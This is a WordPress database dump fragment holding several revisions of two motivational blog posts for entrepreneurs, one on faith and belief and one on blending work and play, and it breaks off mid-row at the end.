(2547, 2, '2014-01-11 15:00:37', '2014-01-11 22:00:37', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy into strengthening your faith and belief in your big idea, not just more knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-12', '', '', '2014-01-11 15:00:37', '2014-01-11 22:00:37', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-12/', 0, 'revision', '', 0),
(2548, 2, '2014-01-11 15:00:46', '2014-01-11 22:00:46', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy into strengthening your faith and belief in your big idea, not just more knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-13', '', '', '2014-01-11 15:00:46', '2014-01-11 22:00:46', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-13/', 0, 'revision', '', 0),
(2549, 2, '2014-01-11 15:01:45', '2014-01-11 22:01:45', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\r\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\r\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\r\n\r\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\r\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\r\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\r\n\r\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\r\n\r\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\r\n\r\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\r\n\r\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\r\n\r\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\r\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\r\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\r\n\r\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\r\n\r\nFaith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy into strengthening your faith and belief in your big idea, not just more knowledge of tactics.\r\n\r\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\r\n\r\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-revision-14', '', '', '2014-01-11 15:01:45', '2014-01-11 22:01:45', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-revision-14/', 0, 'revision', '', 0),
(2550, 2, '2014-01-11 15:03:03', '2014-01-11 22:03:03', '<img class="alignnone size-full wp-image-2535" title="All things come through faith and belief" src="http://whc.fbdev.org/wp-content/uploads/2014/01/faith-belief.jpg" alt="" width="486" height="321" />\n<h1>With so much useful and free information on business success available to entrepreneurs on the web, it’s a wonder every entrepreneur who would dare to try wouldn’t be massively successful.</h1>\nIn less than half a generation, knowledge on anything is everywhere and more accessible to everyone than ever before in human history. If you’re an early stage entrepreneur or solo professional in this day in age, you know how to obtain tactical knowledge from the outside world–but what about the inside world of your creativity and imagination?  The formless, good dirt where the seeds of your future are planted?\n\nJust a friendly reminder if you are beginning a new idea–more important for your success than obtained knowledge, is the quality of what you''re currently thinking about. And the quality of what you think about forms the quality of your emotions, and what you’re feeling will, in turn, drive your behavior or action. Actions determine results. This is the law of cause and effect at work, and just like gravity, it’s always on.\n<h3>The seed of every success lies in the dominant frame of mind, not in knowledge, talent or skill.</h3>\nThe start of a new year is always a good time to ponder what lies ahead. Everywhere I go speaking and working with entrepreneurs, many are “hopeful” this will be the year for harvesting.  I hope so too, but for me, hope is not enough to put hay in the barn. Hope is not the dominant frame of mind that will make things happen.\n\nNaturally, it’s the ultimate zen challenge for all entrepreneurs in the process of building a bigger future for the world and themselves to remain in the right frame of mind. I’m not talking about trite and cliché positive thinking or affirmations here (although that’s helpful too), I’m talking about faith and belief– not hope!\n\nDo you <em>believe without reservation</em> that your vision / dream / desire / goal is on its way to you right now; or are you uncertain, doubtful and fearful, trying to obtain more outside knowledge to hedge your risk?\n\nBelief is the effect that faith causes. The amount of one determines the amount of the other. You can never have more of one and less of the other. But you must first have faith to believe.\n\nNot the kind of faith you have when it’s happening and things are going your way. No, I’m talking about the kind of faith required to believe in something you don’t see happening or producing the results you expect. The kind of faith that confirms “you just know you know” this idea will succeed in spite of any current evidence to the contrary! Faith beyond belief.\n\nThis is real Jedi mind level stuff, but there’s nothing complicated about creating results in the world. It’s a pretty simple formula:\n<h2>Faith will power your belief, which creates your emotions, that drive your actions, which determines your results.</h2>\nIf you’re in the critical stages of inventing or reinventing your business, entering new markets, appealing to different customers, innovating new products, recovering from a recent business failure, even starting over from scratch, here’s a first principal I find helpful to practice whenever I start to ponder what I want my next big idea to be:\n\n<strong>Never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</strong>\n\nFaith and Belief are twin sisters. Together they must occupy your dominant frame of mind.  Put your energy into strengthening your faith and belief in your big idea, not just more knowledge of tactics.\n\n<em>If you found this post helpful, please subscribe to receive posts directly to your inbox.</em>\n\n&nbsp;', 'Faith and Belief: The dominant frame of mind for creating a bigger future!', 0, '', 'inherit', 'open', 'open', '', '2534-autosave', '', '', '2014-01-11 15:03:03', '2014-01-11 22:03:03', '', 2534, 'http://www.whitehotcenter.com/2014/01/2534-autosave/', 0, 'revision', '', 0),
(2551, 2, '2014-01-23 18:19:22', '2014-01-24 01:19:22', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3>James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to each day. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression.\r\n\r\nWithout love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'publish', 'open', 'open', '', 'are-you-working-or-playing', '', '', '2014-01-23 18:19:22', '2014-01-24 01:19:22', '', 0, 'http://www.whitehotcenter.com/?p=2551', 0, 'post', '', 0),
(2552, 2, '2014-01-23 17:58:20', '2014-01-24 00:58:20', '', 'work-is-play', 0, '', 'inherit', 'open', 'open', '', 'work-is-play', '', '', '2014-01-23 17:58:20', '2014-01-24 00:58:20', '', 2551, 'http://www.whitehotcenter.com/wp-content/uploads/2014/01/work-is-play.jpg', 0, 'attachment', 'image/jpeg', 0),
(2558, 2, '2014-01-23 18:10:04', '2014-01-24 01:10:04', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\n<h3>James A. Michener</h3>\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\n\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\n\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\n<h2>Nothing creative and useful will come from a mind trapped by stress and friction.</h2>\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\n\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\n\n<strong>Making your labor and your leisure come together seamlessly.</strong>\n\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\n\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\n\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\n\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\n\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\n\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\n\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-6', '', '', '2014-01-23 18:10:04', '2014-01-24 01:10:04', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-6/', 0, 'revision', '', 0);
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(2553, 2, '2014-01-23 18:01:55', '2014-01-24 01:01:55', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\n<h3> James A. Michener</h3>\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\n\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\n\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\n\nNothing creative and useful will come from a mind trapped by stress and friction.\n\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\n\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\n\n<strong>Making your labor and your leisure come together seamlessly.</strong>\n\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\n\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\n\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\n\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\n\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\n\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\n\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\n\n&nbsp;\n\nIf you found this post helpful, please subscribe to the White Hot Center!\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision', '', '', '2014-01-23 18:01:55', '2014-01-24 01:01:55', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision/', 0, 'revision', '', 0),
(2555, 2, '2014-01-23 18:04:23', '2014-01-24 01:04:23', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\n<h3> James A. Michener</h3>\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\n\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\n\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\n\nNothing creative and useful will come from a mind trapped by stress and friction.\n\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\n\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\n\n<strong>Making your labor and your leisure come together seamlessly.</strong>\n\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\n\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\n\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\n\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\n\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\n\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\n\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\n\n&nbsp;\n\n<em>If you found this post helpful, please subscribe to the White Hot Center!</em>\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Are you working or playing?', 0, '', 'inherit', 'open', 'open', '', '2551-revision-3', '', '', '2014-01-23 18:04:23', '2014-01-24 01:04:23', '', 2551, 'http://www.whitehotcenter.com/2014/01/2551-revision-3/', 0, 'revision', '', 0),
(2554, 2, '2014-01-23 18:02:32', '2014-01-24 01:02:32', '<img class="alignnone size-full wp-image-2552" title="work-is-play" src="http://whc.fbdev.org/wp-content/uploads/2014/01/work-is-play.jpg" alt="" width="495" height="372" />\r\n<h3>“The master in the art of living makes little distinction between his work and his play, his labor and his leisure, his mind and his body, his information and his recreation, his love and his religion. He hardly knows which is which. He simply pursues his vision of excellence at whatever he does, leaving others to decide whether he is working or playing. To him he’s always doing both.”</h3>\r\n<h3> James A. Michener</h3>\r\nI love this quote! This frames up perfectly an ideal I have dedicated my life to for over two decades now–with varying degrees of success. Like I said, it’s an ideal that I aspire to. Sometimes work feels more like drudgery than play. When this happens to me, I tend to procrastinate more… I lose interest quickly and put things off. The urgent now takes over the important. And when that happens to me, nothing feels like play.\r\n\r\nI’m still experimenting and practicing blurring the lines between work and play in my life. (This blog is one little expression of that practice).\r\n\r\nBlurring the lines between work and play is a difficult thing for entrepreneurs and solo professionals to do. They’re always so busy working to keep all their plates in the air. Some are stressing. Many simply get tired and burn out.  True enough “the master in the art of living” will hardly know the difference between work and play.\r\n\r\nNothing creative and useful will come from a mind trapped by stress and friction.\r\n\r\nThis is why this principal is so critically important to master. When work and play converge as one activity without separation, your powers for making things happen in your life are increased exponentially. More importantly you begin to notice that you are creating with ease. Your purpose and mission will have greater pull enhancing your momentum toward your achievement.\r\n\r\nCreating your big idea in an easy and relaxed way is joyful workplay beyond words.\r\n\r\n<strong>Making your labor and your leisure come together seamlessly.</strong>\r\n\r\nHere are some ideas you may want to consider if you are integrating your work as play and visa versa. You can start by simply becoming more mindful of what you engage yourself in. If you are spending the better part of each day running after yourself and others, you’re not being too mindful of what brings you energy and joy.\r\n\r\n<em>An undisciplined mind wastes two most important, precious and limited  resources–creative energy and time.</em> Become aware of what you’re doing and say no often and mean it!\r\n\r\n<em>Put yourself first.</em> Make time to put your feet up once and awhile and let your mind play around in your creative imagination.  Make this a priority for yourself over all the other stuff that fights for your attention each day.  Creative ideas are seeds you plant in the rich dirt of your life.  As my daughter says “Chillax”! You must be first in line if you are to serve others well.\r\n\r\n<em>Take time (lots of time) away from your office, shop, store, computer and smart phone.</em> For me I like long walks on the beach or anywhere I have solitude in nature. Spend time with your kids, play basketball, play piano, ride your bike, sit in a coffee shop– anything but hanging around in your office! You will soon see how many awesome ideas will show up for you when you are not chained to your cage. All my good ideas come to me far away from my desktop.\r\n\r\n<em>Focus on your genius.</em> Only engage in the activities that bring you endless energy, joy and satisfaction–delegate everything else and I mean everything!  Your genius is a powerful capability, talent and gift you were born with.  You probably take it for granted. Chances are you don’t even think about your genius. It’s so natural to you. You don’t think about breathing do you? Your genius is like that. When you are engaged in activities that are in the zone of your genius–work is play and play is work and you don’t care which is which.\r\n\r\n<em>Follow your magnificent obsession.</em> When you build a life of purpose, significance and meaning, chances are you’re trusting and following your truest nature. The more clarity you have about your natural inclinations, the more gravity they will have to attract all manner of unseen opportunities that come out of nowhere. Having a sense of calling is a powerful tool to pull you through the “stuff” and keep you looking up and out on the horizon.\r\n\r\n<em>And finally there is love.</em> Indeed you must truly love with all your heart and soul what you do in life. I know we’ve all heard this a thousand times, but it’s the truth. For me, love is the magic ingredient in the art of living life to the fullest expression. Without love, there is only fear.\r\n\r\n&nbsp;\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot 